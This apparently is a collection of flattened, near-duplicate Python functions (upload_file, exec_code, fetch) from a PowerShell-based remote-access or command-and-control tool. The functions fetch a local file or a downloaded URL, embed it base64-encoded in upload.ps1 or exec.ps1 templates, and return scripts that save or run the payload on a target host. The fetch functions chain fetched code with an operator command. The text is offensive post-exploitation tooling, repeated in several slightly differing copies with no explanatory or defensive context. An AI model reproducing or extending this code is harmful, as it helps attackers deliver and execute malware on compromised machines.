def upload_file(self): try: (cmd, path, remote) = self.data.split(" ", 2) except: self.output += self.output_cli_or_str("Missing arguments") return "" data = "" #path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == "": self.output += self.output_cli_or_str("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data.decode()) ps = Utils.update_key(ps, "PATH", remote) self.output += self.output_cli_or_str( "Payload will be saved at %s" % path) return ps else: self.output += self.output_cli_or_str("Cannot fetch the resource") return data
def exec_code(self): try: (cmd, path) = self.data.split(" ", 1) except: self.output += self.output_cli_or_str("Missing arguments") return "" data = "" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == "": self.output += self.output_cli_or_str("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 16) ps = Utils.update_key(ps, "PAYLOAD", data) self.output += self.output_cli_or_str( "Payload should be executed shortly on the target") return ps else: self.output += self.output_cli_or_str("Cannot fetch the resource") return data
def upload_file(self, data): try: cmd, path, remote = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data) ps = Utils.update_key(ps, "PATH", remote) UI.success("Payload will be saved at %s" % path) return ps else: UI.error("Cannot fetch the resource") return data
def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 12) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data
def fetch(self, data): try: (cmd, path, ps) = data.split(' ', 2) except: UI.error('Missing arguments') return '' data = ';' path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ';': UI.success('Fetching %s' % path) UI.success('Executing %s' % ps) return '%s;%s' % (data, ps) else: UI.error('Cannot fetch the resource') return ''
def fetch(self, data): try: (cmd, path, ps) = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return ""
def fetch(self): try: (cmd, path, ps) = self.data.split(" ", 2) except: self.output += self.output_cli_or_str("Missing arguments") return "" data = "" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path).decode() else: data = Utils.download_url(path) if not data == "": self.output += self.output_cli_or_str("Fetching %s" % path) self.output += self.output_cli_or_str("Executing %s" % ps) return "%s;%s" % (data, ps) else: self.output += self.output_cli_or_str("Cannot fetch the resource") return ""
def exec_code(self, data): try: (cmd, path) = data.split(' ', 1) except: UI.error('Missing arguments') return '' data = ';' path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ';': UI.success('Fetching %s' % path) data = base64.b64encode(data) ps = Utils.load_powershell_script('exec.ps1', 16) ps = Utils.update_key(ps, 'PAYLOAD', data) UI.success('Payload should be executed shortly on the target') return ps else: UI.error('Cannot fetch the resource') return data
def fetch(self, data): try: cmd, path, ps = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return ""
def upload_file(self, data): try: (cmd, path, remote) = data.split(' ', 2) except: UI.error('Missing arguments') return '' data = ';' path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ';': UI.success('Fetching %s' % path) data = base64.b64encode(data) ps = Utils.load_powershell_script('upload.ps1', 3) ps = Utils.update_key(ps, 'PAYLOAD', data) ps = Utils.update_key(ps, 'PATH', remote) UI.success('Payload will be saved at %s' % path) return ps else: UI.error('Cannot fetch the resource') return data